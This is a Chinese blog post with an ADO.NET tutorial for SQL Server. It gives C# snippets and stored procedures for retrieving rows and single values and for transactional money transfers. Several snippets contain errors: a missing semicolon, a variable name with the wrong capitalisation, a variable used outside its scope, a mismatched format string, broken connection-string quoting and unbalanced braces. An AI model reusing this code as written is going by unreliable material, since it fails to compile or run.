		<p>public DataTable RetrieveRowsWithDataTable()<br />{<br />  using ( SqlConnection conn = new SqlConnection(connectionString) )<br />  {<br />    conn.Open();<br />    SqlCommand cmd = new SqlCommand("DATRetrieveProducts", conn);<br />    cmd.CommandType = CommandType.StoredProcedure;<br />    SqlDataAdapter adapter = new SqlDataAdapter( cmd );<br />    DataTable dataTable = new DataTable("Products");<br />    adapter .Fill(dataTable);<br />    return dataTable;<br />  }<br />}</p>
		<p>使用 SqlAdapter 生成 DataSet 或 DataTable <br />1.<br /> 创建一个 SqlCommand 对象以调用该存储过程，并将其与一个 SqlConnection 对象（显示）或连接字符串（不显示）相关联。<br /> <br />2.<br /> 创建一个新的 SqlDataAdapter 对象并将其与 SqlCommand 对象相关联。 <br /> <br />3.<br /> 创建一个 DataTable（也可以创建一个 DataSet）对象。使用构造函数参数来命名 DataTable。 <br /> <br />4.<br /> 调用 SqlDataAdapter 对象的 Fill 方法，用检索到的行填充 DataSet 或 DataTable。 <br /> </p>
		<p>如何使用 SqlDataReader 来检索多个行<br />以下代码片段阐明了可检索多个行的 SqlDataReader 方法。</p>
		<p>using System.IO;<br />using System.Data;<br />using System.Data.SqlClient;</p>
		<p>public SqlDataReader RetrieveRowsWithDataReader()<br />{<br />  SqlConnection conn = new SqlConnection(<br />         "server=(local);Integrated Security=SSPI;database=northwind");<br />  SqlCommand cmd = new SqlCommand("DATRetrieveProducts", conn );<br />  cmd.CommandType = CommandType.StoredProcedure;<br />  try<br />  {<br />    conn.Open();<br />    // Generate the reader. CommandBehavior.CloseConnection causes the<br />    // the connection to be closed when the reader object is closed<br />    return( cmd.ExecuteReader( CommandBehavior.CloseConnection ) );<br />  }<br />  catch<br />  {<br />    conn.Close();<br />    throw;<br />  }<br />}</p>
		<p>// Display the product list using the console<br />private void DisplayProducts()<br />{<br />  SqlDataReader reader = RetrieveRowsWithDataReader();<br />  try<br />  {<br />    while (reader.Read())<br />    {<br />      Console.WriteLine("{0} {1} {2}", <br />                        reader.GetInt32(0).ToString(), <br />                        reader.GetString(1) );<br />    }<br />  }<br />  finally<br />  {<br />    reader.Close(); // Also closes the connection due to the<br />                    // CommandBehavior enum used when generating the reader<br />  }<br />}</p>
		<p>使用 SqlDataReader 检索行 <br />1.<br /> 创建一个用来执行存储过程的 SqlCommand 对象，并将其与一个 SqlConnection 对象相关联。 <br /> <br />2.<br /> 打开连接。 <br /> <br />3.<br /> 通过调用 SqlCommand 对象的 ExecuteReader 方法创建一个 SqlDataReader 对象。 <br /> <br />4.<br /> 要从流中读取数据，请调用 SqlDataReader 对象的 Read 方法来检索行，并使用类型化访问器方法（如 GetInt32 和 GetString 方法）来检索列值。 <br /> <br />5.<br /> 使用完读取器后，请调用其 Close 方法。<br /> </p>
		<p>如何使用 XmlReader 检索多个行<br />可以使用 SqlCommand 对象来生成 XmlReader 对象，后者可提供对 XML 数据的基于流的只进访问。命令（通常为存储过程）必须产生基于 XML 的结果集，对于 SQL Server 2000 而言，该结果集通常包含一个带有有效 FOR XML 子句的 SELECT 语句。以下代码片段阐明了该方法：</p>
		<p>public void RetrieveAndDisplayRowsWithXmlReader()<br />{<br />  using( SqlConnection conn = new SqlConnection(connectionString) )<br />  {;<br />    SqlCommand cmd = new SqlCommand("DATRetrieveProductsXML", conn );<br />    cmd.CommandType = CommandType.StoredProcedure;<br />try<br />  {<br />      conn.Open();<br />    XmlTextReader xreader = (XmlTextReader)cmd.ExecuteXmlReader();<br />    while ( xreader.Read() )<br />    {<br />      if ( xreader.Name == "PRODUCTS" ) <br />      {<br />        string strOutput = xreader.GetAttribute("ProductID");<br />        strOutput += " ";<br />        strOutput += xreader.GetAttribute("ProductName");<br />        Console.WriteLine( strOutput );<br />      }<br />    }<br />    xreader.Close();  // XmlTextReader does not support IDisposable so it can't be<br />                      // used within a using keyword <br />  }<br />}<br />  </p>
		<p>上述代码使用了以下存储过程：</p>
		<p>CREATE PROCEDURE DATRetrieveProductsXML<br />AS<br />SELECT * FROM PRODUCTS <br />FOR XML AUTO<br />GO</p>
		<p>使用 XmlReader 检索 XML 数据 <br />1.<br /> 创建一个 SqlCommand 对象来调用可生成 XML 结果集的存储过程（例如，在 SELECT 语句中使用 FOR XML 子句）。将该 SqlCommand 对象与某个连接相关联。 <br /> <br />2.<br /> 调用 SqlCommand 对象的 ExecuteXmlReader 方法，并且将结果分配给只进 XmlTextReader 对象。当您不需要对返回的数据进行任何基于 XML 的验证时，这是应该使用的最快类型的 XmlReader 对象。 <br /> <br />3.<br /> 使用 XmlTextReader 对象的 Read 方法来读取数据。 <br /> </p>
		<p>如何使用存储过程输出参数来检索单个行<br />借助于命名的输出参数，可以调用在单个行内返回检索到的数据项的存储过程。以下代码片段使用存储过程来检索 Northwind 数据库的 Products 表中包含的特定产品的产品名称和单价。</p>
		<p>void GetProductDetails( int ProductID, <br />                        out string ProductName, out decimal UnitPrice )<br />{<br />  using( SqlConnection conn = new SqlConnection(<br />        "server=(local);Integrated Security=SSPI;database=Northwind") )<br />  {<br />    // Set up the command object used to execute the stored proc<br />    SqlCommand cmd = new SqlCommand( "DATGetProductDetailsSPOutput", conn )<br />    cmd.CommandType = CommandType.StoredProcedure;<br />    // Establish stored proc parameters.<br />    //  @ProductID int INPUT<br />    //  @ProductName nvarchar(40) OUTPUT<br />    //  @UnitPrice money OUTPUT</p>
		<p>    // Must explicitly set the direction of output parameters<br />    SqlParameter paramProdID = <br />             cmd.Parameters.Add( "@ProductID", ProductID );<br />    paramProdID.Direction = ParameterDirection.Input;<br />    SqlParameter paramProdName = <br />             cmd.Parameters.Add( "@ProductName", SqlDbType.VarChar, 40 );<br />    paramProdName.Direction = ParameterDirection.Output;<br />    SqlParameter paramUnitPrice = <br />             cmd.Parameters.Add( "@UnitPrice", SqlDbType.Money );<br />    paramUnitPrice.Direction = ParameterDirection.Output;</p>
		<p>    conn.Open();<br />    // Use ExecuteNonQuery to run the command. <br />    // Although no rows are returned any mapped output parameters <br />    // (and potentially return values) are populated <br />    cmd.ExecuteNonQuery( );<br />    // Return output parameters from stored proc<br />    ProductName = paramProdName.Value.ToString();<br />    UnitPrice = (decimal)paramUnitPrice.Value; <br />  }<br />}</p>
		<p>使用存储过程输出参数来检索单个行 <br />1.<br /> 创建一个 SqlCommand 对象并将其与一个 SqlConnection 对象相关联。 <br /> <br />2.<br /> 通过调用 SqlCommand 的 Parameters 集合的 Add 方法来设置存储过程参数。默认情况下，参数都被假设为输入参数，因此必须显式设置任何输出参数的方向。 </p>
		<p>注 一种良好的习惯做法是显式设置所有参数（包括输入参数）的方向。<br /> <br />3.<br /> 打开连接。 <br /> <br />4.<br /> 调用 SqlCommand 对象的 ExecuteNonQuery 方法。这将填充输出参数（并可能填充返回值）。 <br /> <br />5.<br /> 通过使用 Value 属性，从适当的 SqlParameter 对象中检索输出参数。 <br /> <br />6.<br /> 关闭连接。 <br /> </p>
		<p>上述代码片段调用了以下存储过程。</p>
		<p>CREATE PROCEDURE DATGetProductDetailsSPOutput<br />@ProductID int,<br />@ProductName nvarchar(40) OUTPUT,<br />@UnitPrice money OUTPUT<br />AS<br />SELECT @ProductName = ProductName, <br />       @UnitPrice = UnitPrice <br />FROM Products <br />WHERE ProductID = @ProductID<br />GO</p>
		<p>如何使用 SqlDataReader 来检索单个行<br />可以使用 SqlDataReader 对象来检索单个行，尤其是可以从返回的数据流中检索需要的列值。以下代码片段对此进行了说明。</p>
		<p>void GetProductDetailsUsingReader( int ProductID, <br />                        out string ProductName, out decimal UnitPrice )<br />{<br />  using( SqlConnection conn = new SqlConnection(<br />         "server=(local);Integrated Security=SSPI;database=Northwind") )<br />  {<br />    // Set up the command object used to execute the stored proc<br />    SqlCommand cmd = new SqlCommand( "DATGetProductDetailsReader", conn );<br />    cmd.CommandType = CommandType.StoredProcedure;<br />    // Establish stored proc parameters.<br />    //  @ProductID int INPUT</p>
		<p>    SqlParameter paramProdID = cmd.Parameters.Add( "@ProductID", ProductID );<br />    paramProdID.Direction = ParameterDirection.Input;<br />    conn.Open();<br />    using( SqlDataReader reader = cmd.ExecuteReader() )<br />    {<br />      if( reader.Read() ) // Advance to the one and only row<br />      {<br />        // Return output parameters from returned data stream<br />        ProductName = reader.GetString(0);<br />        UnitPrice = reader.GetDecimal(1);<br />       }<br />    }<br />  }<br />}</p>
		<p>使用 SqlDataReader 对象来返回单个行 <br />1.<br /> 建立 SqlCommand 对象。 <br /> <br />2.<br /> 打开连接。 <br /> <br />3.<br /> 调用 SqlDataReader 对象的 ExecuteReader 方法。 <br /> <br />4.<br /> 通过 SqlDataReader 对象的类型化访问器方法（在这里，为 GetString 和 GetDecimal）来检索输出参数。 <br /> </p>
		<p>上述代码片段调用了以下存储过程。</p>
		<p>CREATE PROCEDURE DATGetProductDetailsReader<br />@ProductID int<br />AS<br />SELECT ProductName, UnitPrice FROM Products<br />WHERE ProductID = @ProductID<br />GO</p>
		<p>如何使用 ExecuteScalar 来检索单个项<br />ExecuteScalar 方法专门适用于仅返回单个值的查询。如果查询返回多个列和/或行，ExecuteScalar 将只返回第一行的第一列。</p>
		<p>以下代码说明了如何查找与特定产品 ID 相对应的产品名称：</p>
		<p>void GetProductNameExecuteScalar( int ProductID, out string ProductName )<br />{<br />  using( SqlConnection conn = new SqlConnection(<br />         "server=(local);Integrated Security=SSPI;database=northwind") )<br />  {<br />    SqlCommand cmd = new SqlCommand("LookupProductNameScalar", conn );<br />    cmd.CommandType = CommandType.StoredProcedure;</p>
		<p>    cmd.Parameters.Add("@ProductID", ProductID );<br />    conn.Open();<br />    ProductName = (string)cmd.ExecuteScalar();<br />  }</p>
		<p>}</p>
		<p>使用 ExecuteScalar 来检索单个项 <br />1.<br /> 建立一个 SqlCommand 对象来调用存储过程。 <br /> <br />2.<br /> 打开连接。 <br /> <br />3.<br /> 调用 ExecuteScalar 方法。注意，该方法返回一个对象类型。它包含检索到的第一列的值，并且必须转化为适当的类型。 <br /> <br />4.<br /> 关闭连接。 <br /> </p>
		<p>上述代码使用了以下存储过程：</p>
		<p>CREATE PROCEDURE LookupProductNameScalar<br />@ProductID int<br />AS<br />SELECT TOP 1 ProductName<br />FROM Products<br />WHERE ProductID = @ProductID<br />GO</p>
		<p>如何使用存储过程输出或返回参数来检索单个项<br />可以使用存储过程输出或返回参数来查找单个值。以下代码阐明了输出参数的用法：</p>
		<p>void GetProductNameUsingSPOutput( int ProductID, out string ProductName )<br />{<br />  using( SqlConnection conn = new SqlConnection(<br />        "server=(local);Integrated Security=SSPI;database=northwind") )<br />  {<br />    SqlCommand cmd = new SqlCommand("LookupProductNameSPOutput", conn );<br />    cmd.CommandType = CommandType.StoredProcedure;</p>
		<p>    SqlParameter paramProdID = cmd.Parameters.Add("@ProductID", ProductID );<br />    ParamProdID.Direction = ParameterDirection.Input;<br />    SqlParameter paramPN = <br />           cmd.Parameters.Add("@ProductName", SqlDbType.VarChar, 40 );<br />    paramPN.Direction = ParameterDirection.Output;</p>
		<p>    conn.Open();<br />    cmd.ExecuteNonQuery();<br />    ProductName = paramPN.Value.ToString();  <br />  }<br />}</p>
		<p>使用存储过程输出参数来检索单个值 <br />1.<br /> 建立一个 SqlCommand 对象来调用存储过程。 <br /> <br />2.<br /> 通过将 SqlParameters 添加到 SqlCommand 的 Parameters 集合中，设置任何输入参数和单个输出参数。<br /> <br />3.<br /> 打开连接。 <br /> <br />4.<br /> 调用 SqlCommand 对象的 ExecuteNonQuery 方法。 <br /> <br />5.<br /> 关闭连接。 <br /> <br />6.<br /> 通过使用输出 SqlParameter 的 Value 属性来检索输出值。 <br /> </p>
		<p>上述代码使用了以下存储过程。</p>
		<p>CREATE PROCEDURE LookupProductNameSPOutput <br />@ProductID int,<br />@ProductName nvarchar(40) OUTPUT<br />AS<br />SELECT @ProductName = ProductName<br />FROM Products<br />WHERE ProductID = @ProductID<br />GO</p>
		<p>以下代码阐明了如何使用返回值来指明是否存在特定行。从编码角度来看，这类似于使用存储过程输出参数，不同之处在于必须将 SqlParameter 方向显式设置为 ParameterDirection.ReturnValue。</p>
		<p>bool CheckProduct( int ProductID )<br />{<br />  using( SqlConnection conn = new SqlConnection(<br />       "server=(local);Integrated Security=SSPI;database=northwind") )<br />  {<br />    SqlCommand cmd = new SqlCommand("CheckProductSP", conn );<br />    cmd.CommandType = CommandType.StoredProcedure;</p>
		<p>    cmd.Parameters.Add("@ProductID", ProductID );<br />    SqlParameter paramRet =  <br />           cmd.Parameters.Add("@ProductExists", SqlDbType.Int );<br />    paramRet.Direction = ParameterDirection.ReturnValue;<br />    conn.Open();<br />    cmd.ExecuteNonQuery();<br />  }<br />  return (int)paramRet.Value == 1;<br />}</p>
		<p>通过使用存储过程返回值来检查是否存在特定行 <br />1.<br /> 建立一个 SqlCommand 对象来调用存储过程。 <br /> <br />2.<br /> 设置一个输入参数，该参数含有要访问的行的主键值。 <br /> <br />3.<br /> 设置单个返回值参数。将一个 SqlParameter 对象添加到 SqlCommand 的 Parameters 集合中，并将其方向设置为 ParameterDirection.ReturnValue。 <br /> <br />4.<br /> 打开连接。 <br /> <br />5.<br /> 调用 SqlCommand 对象的 ExecuteNonQuery 方法。 <br /> <br />6.<br /> 关闭连接。 <br /> <br />7.<br /> 通过使用返回值 SqlParameter 的 Value 属性来检索返回值。 <br /> </p>
		<p>上述代码使用了以下存储过程。 </p>
		<p>CREATE PROCEDURE CheckProductSP <br />@ProductID int<br />AS<br />IF EXISTS( SELECT ProductID<br />           FROM Products<br />           WHERE ProductID = @ProductID )<br />  return 1<br />ELSE<br />  return 0<br />GO</p>
		<p>如何使用 SqlDataReader 来检索单个项<br />可以使用 SqlDataReader 对象并通过调用命令对象的 ExecuteReader 方法来获取单个输出值。这要求编写稍微多一点的代码，因为必须调用 SqlDataReader Read 方法，然后通过该读取器的访问器方法之一来检索需要的值。以下代码阐明了 SqlDataReader 对象的用法。</p>
		<p>bool CheckProductWithReader( int ProductID )<br />{<br />  using( SqlConnection conn = new SqlConnection(<br />         "server=(local);Integrated Security=SSPI;database=northwind") )<br />  {<br />    SqlCommand cmd = new SqlCommand("CheckProductExistsWithCount", conn );<br />    cmd.CommandType = CommandType.StoredProcedure;</p>
		<p>    cmd.Parameters.Add("@ProductID", ProductID );<br />    cmd.Parameters["@ProductID"].Direction = ParameterDirection.Input;<br />    conn.Open();<br />    using( SqlDataReader reader = cmd.ExecuteReader(<br />                                CommandBehavior.SingleResult ) )<br />    {<br />    if( reader.Read() )<br />    {<br />      return (reader.GetInt32(0) &gt; 0);<br />    }<br />    return false;<br />  }<br />}</p>
		<p>上述代码采用了以下存储过程。</p>
		<p>CREATE PROCEDURE CheckProductExistsWithCount <br />@ProductID int<br />AS<br />SELECT COUNT(*) FROM Products<br />WHERE ProductID = @ProductID<br />GO</p>
		<p>如何编写 ADO.NET 手动事务处理代码<br />以下代码显示了如何充分利用 SQL Server .NET 数据提供程序所提供的事务处理支持，通过事务来保护资金转帐操作。该操作在同一数据库中的两个帐户之间转移资金。</p>
		<p>public void TransferMoney( string toAccount, string fromAccount, decimal amount )<br />{<br />  using ( SqlConnection conn = new SqlConnection(<br />            "server=(local);Integrated Security=SSPI;database=SimpleBank" ) )<br />  {<br />    SqlCommand cmdCredit = new SqlCommand("Credit", conn );<br />    cmdCredit.CommandType = CommandType.StoredProcedure;<br />    cmdCredit.Parameters.Add( new SqlParameter("@AccountNo", toAccount) );<br />    cmdCredit.Parameters.Add( new SqlParameter("@Amount", amount ));</p>
		<p>    SqlCommand cmdDebit = new SqlCommand("Debit", conn );<br />    cmdDebit.CommandType = CommandType.StoredProcedure;<br />    cmdDebit.Parameters.Add( new SqlParameter("@AccountNo", fromAccount) );<br />    cmdDebit.Parameters.Add( new SqlParameter("@Amount", amount ));</p>
		<p>    conn.Open();<br />    // Start a new transaction<br />    using ( SqlTransaction trans = conn.BeginTransaction() )<br />    {<br />      // Associate the two command objects with the same transaction<br />      cmdCredit.Transaction = trans;<br />      cmdDebit.Transaction = trans;<br />      try<br />      {<br />        cmdCredit.ExecuteNonQuery();<br />        cmdDebit.ExecuteNonQuery();<br />        // Both commands (credit and debit) were successful<br />        trans.Commit();<br />      }<br />      catch( Exception ex )<br />      {<br />        // transaction failed<br />        trans.Rollback();<br />        // log exception details . . .<br />        throw ex;<br />      }<br />    }<br />  }<br />}</p>
		<p>如何使用 Transact-SQL 执行事务处理<br />以下存储过程阐明了如何在 Transact-SQL 存储过程内部执行事务性资金转帐操作。</p>
		<p>CREATE PROCEDURE MoneyTransfer<br />@FromAccount char(20),<br />@ToAccount char(20),<br />@Amount money<br />AS<br />BEGIN TRANSACTION<br />-- PERFORM DEBIT OPERATION<br />UPDATE Accounts<br />SET Balance = Balance - @Amount<br />WHERE AccountNumber = @FromAccount<br />IF @@RowCount = 0<br />BEGIN<br />  RAISERROR('Invalid From Account Number', 11, 1)<br />  GOTO ABORT<br />END<br />DECLARE @Balance money<br />SELECT @Balance = Balance FROM ACCOUNTS<br />WHERE AccountNumber = @FromAccount<br />IF @BALANCE &lt; 0<br />BEGIN<br />  RAISERROR('Insufficient funds', 11, 1)<br />  GOTO ABORT<br />END<br />-- PERFORM CREDIT OPERATION<br />UPDATE Accounts <br />SET Balance = Balance + @Amount <br />WHERE AccountNumber = @ToAccount<br />IF @@RowCount = 0<br />BEGIN<br />  RAISERROR('Invalid To Account Number', 11, 1)<br />  GOTO ABORT<br />END<br />COMMIT TRANSACTION<br />RETURN 0<br />ABORT:<br />  ROLLBACK TRANSACTION<br />GO</p>
		<p>该存储过程使用 BEGIN TRANSACTION、COMMIT TRANSACTION 和 ROLLBACK TRANSACTION 语句来手动控制该事务。</p>
		<p>如何编写事务性 .NET 类<br />以下示例代码显示了三个服务性 .NET 托管类，这些类经过配置以执行自动事务处理。每个类都使用 Transaction 属性进行了批注，该属性的值确定是否应该启动新的事务流，或者该对象是否应该共享其直接调用方的事务流。这些组件协同工作来执行银行资金转帐任务。Transfer 类被使用 RequiresNew 事务属性进行了配置，而 Debit 和 Credit 被使用 Required 进行了配置。结果，所有这三个对象在运行时都将共享同一事务。</p>
		<p>using System;<br />using System.EnterpriseServices;</p>
		<p>[Transaction(TransactionOption.RequiresNew)]<br />public class Transfer : ServicedComponent<br />{<br />  [AutoComplete]<br />  public void Transfer( string toAccount, <br />                        string fromAccount, decimal amount )<br />  {<br />    try<br />    {<br />      // Perform the debit operation<br />      Debit debit = new Debit();<br />      debit.DebitAccount( fromAccount, amount );<br />      // Perform the credit operation<br />      Credit credit = new Credit();<br />      credit.CreditAccount( toAccount, amount );<br />    }<br />    catch( SqlException sqlex )<br />    {<br />      // Handle and log exception details<br />      // Wrap and propagate the exception<br />      throw new TransferException( "Transfer Failure", sqlex );    <br />    }<br />  }<br />}<br />[Transaction(TransactionOption.Required)]<br />public class Credit : ServicedComponent<br />{<br />  [AutoComplete]<br />  public void CreditAccount( string account, decimal amount )<br />  {<br />    try<br />    {<br />      using( SqlConnection conn = new SqlConnection(<br />              "Server=(local); Integrated Security=SSPI"; database="SimpleBank") )<br />      {<br />        SqlCommand cmd = new SqlCommand("Credit", conn );<br />        cmd.CommandType = CommandType.StoredProcedure;<br />        cmd.Parameters.Add( new SqlParameter("@AccountNo", account) );<br />        cmd.Parameters.Add( new SqlParameter("@Amount", amount ));<br />        conn.Open();<br />        cmd.ExecuteNonQuery();<br />      }<br />    }<br />  }catch( SqlException sqlex ){<br />     // Log exception details here<br />     throw; // Propagate exception<br />  }<br />}<br />[Transaction(TransactionOption.Required)]<br />public class Debit : ServicedComponent<br />{<br />  public void DebitAccount( string account, decimal amount )<br />  {<br />    try<br />    {<br />      using( SqlConnection conn = new SqlConnection(<br />              "Server=(local); Integrated Security=SSPI"; database="SimpleBank") )<br />      {<br />        SqlCommand cmd = new SqlCommand("Debit", conn );<br />        cmd.CommandType = CommandType.StoredProcedure;<br />        cmd.Parameters.Add( new SqlParameter("@AccountNo", account) );<br />        cmd.Parameters.Add( new SqlParameter("@Amount", amount ));<br />        conn.Open();<br />        cmd.ExecuteNonQuery();<br />      } <br />    }<br />    catch (SqlException sqlex)<br />    {<br />      // Log exception details here<br />      throw; // Propagate exception back to caller<br />    }<br />  }<br />}</p>
		<p> <br /></p>
<img src ="http://www.blogjava.net/Aisce/aggbug/142817.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-05 10:16 <a href="http://www.blogjava.net/Aisce/articles/142817.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>